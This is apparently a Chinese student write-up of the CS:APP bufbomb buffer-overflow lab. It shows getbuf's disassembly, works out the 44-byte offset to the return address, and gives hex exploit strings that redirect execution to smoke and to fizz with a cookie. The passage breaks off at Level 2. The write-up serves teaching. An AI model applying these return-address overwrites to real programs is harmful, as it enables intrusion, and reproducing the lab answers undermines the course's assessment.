BufBomb缓冲区溢出炸弹
这是神书<<深入理解计算机系统>>里面的一个实验,很不错。
这个实验有4个文件,可执行文件 bufbomb, hex2raw, makecookie,以及说明书buflab-writeup.pdf。
戳我下载
任务是通过给程序bufbomb输入一个二进制字符,利用bufbomb缓冲区溢出去攻击,以达到一些目的。总共有5个任务。
这个实验是通过类似于c语言中的gets函数的Gets读取一行数据到固定大小的缓冲区,而当我们的输入超过了缓冲区的大小时,Gets没有任何的边界检查,超过缓冲区的数据就会覆盖内存中用作其它用途的数据,从而改变程序的行为,而如果gets从终端读取时,无法输入一些不可打印的数据,比如想输入控制字符0x09,于是就有了hex2raw这个程序,这个程序将16进制表示的字节转换成二进制字节数据。
Level 0
要求是:
Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement, rather than returning to test.
正常情况下,getbuf函数执行完return之后是继续执行test函数的,要求利用缓冲区溢出的漏洞让getbuf函数return后去执行smoke函数。
test函数的c代码为(buflab-writeup.pdf)文件有。
void test() {
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corruption stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
smoke函数c代码为:
void smoke() {
puts("Smoke!: You called smoke()");
validate(0);
exit(0);
}
反汇编getbuf函数,得如下:
08049262 <getbuf>:
8049262: 55 push %ebp
8049263: 89 e5 mov %esp,%ebp
8049265: 83 ec 38 sub $0x38,%esp
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
804926b: 89 04 24 mov %eax,(%esp)
804926e: e8 bf f9 ff ff call 8048c32 <Gets>
8049273: b8 01 00 00 00 mov $0x1,%eax
8049278: c9 leave
8049279: c3 ret
804927a: 90 nop
804927b: 90 nop
804927c: 90 nop
804927d: 90 nop
804927e: 90 nop
804927f: 90 nop
函数在计算机的栈帧地址如下:
由
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
可知, lea把buf的指针地址-0x28(%ebp)传给了Gets(),如上图所示,因此buf距返回地址有0x28+4=44个字节的距离,因此只需从buf处开始填入44个字节的非0a数(0a为ASCII码的\n,会使getbuf结束),接下来四个字节填写要返回的地址,因为要返回至smoke,smoke部分汇编代码为:
08048e0a <smoke>:
8048e0a: 55 push %ebp
8048e0b: 89 e5 mov %esp,%ebp
8048e0d: 83 ec 18 sub $0x18,%esp
smoke的首地址为08048e0a
, 又因为我的电脑是小端法,故输入的后四个字节是0a 8e 04 08
,但是0a为\n会让gets()结束,所以可以从0x08048e0b或者0x08048e0d等等开始。因此根据栈的结构,输入的48个字节可以为:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
要把答案的16进制转换成2进制文件加载到bufbomb中去执行,利用linux的管道,
执行cat level0.txt |./hex2raw | ./bufbomb -u tenlee
,(我的用户名是tenlee,在这一关,执行结果和用户名无关,但是下面的关卡和用户名有关。)结果为
Level 1
要求:
your task is to get BUFBOMB to execute the code for fizz rather than returning to test. In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument.
即和level0类似,利用缓冲区溢出使getbuf函数不执行test(),而执行fizz()函数,并且fizz()函数会比较cookie是否相同,即需要将cookie也传进去。
fizz函数的c代码为:
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
部分汇编代码为:
08048daf <fizz>:
8048daf: 55 push %ebp
8048db0: 89 e5 mov %esp,%ebp
8048db2: 83 ec 18 sub $0x18,%esp
8048db5: 8b 45 08 mov 0x8(%ebp),%eax //变量val
8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
8048dbe: 75 26 jne 8048de6 <fizz+0x37>
8048dc0: 89 44 24 08 mov %eax,0x8(%esp)
可知,0x8(%ebp)存放的是val,即参数.所以在%ebp + 0x8的位置是应该填写自己cookie的值,由栈帧结构可知,即第44+8的位置开始,前44个为非0a字符,接着4位时fizz函数的首地址,接着4位时非0a字符,在接着4位才是cookie的值.所以答案为:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
af 8d 04 08
00 00 00 00 14 72 0b 4b
结果如下:
Level 2
要求:
your task is to get BUFBOMB to execute the code for bang rather than returning to test. Before this, however, you must set global variable global_value to your userid’s cookie. Your exploit code should set global_value, push the address of bang on the stack, and then execute a ret instruction to cause a jump to the code for bang.
即同以上一样,使getbuf函数执行return后执行bang()函数而不是test()函数,并且bang函数有全局变量,初始为0,需要修改这个全局变量是其于cookie相同。bang函数c代码如下:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
汇编代码如下: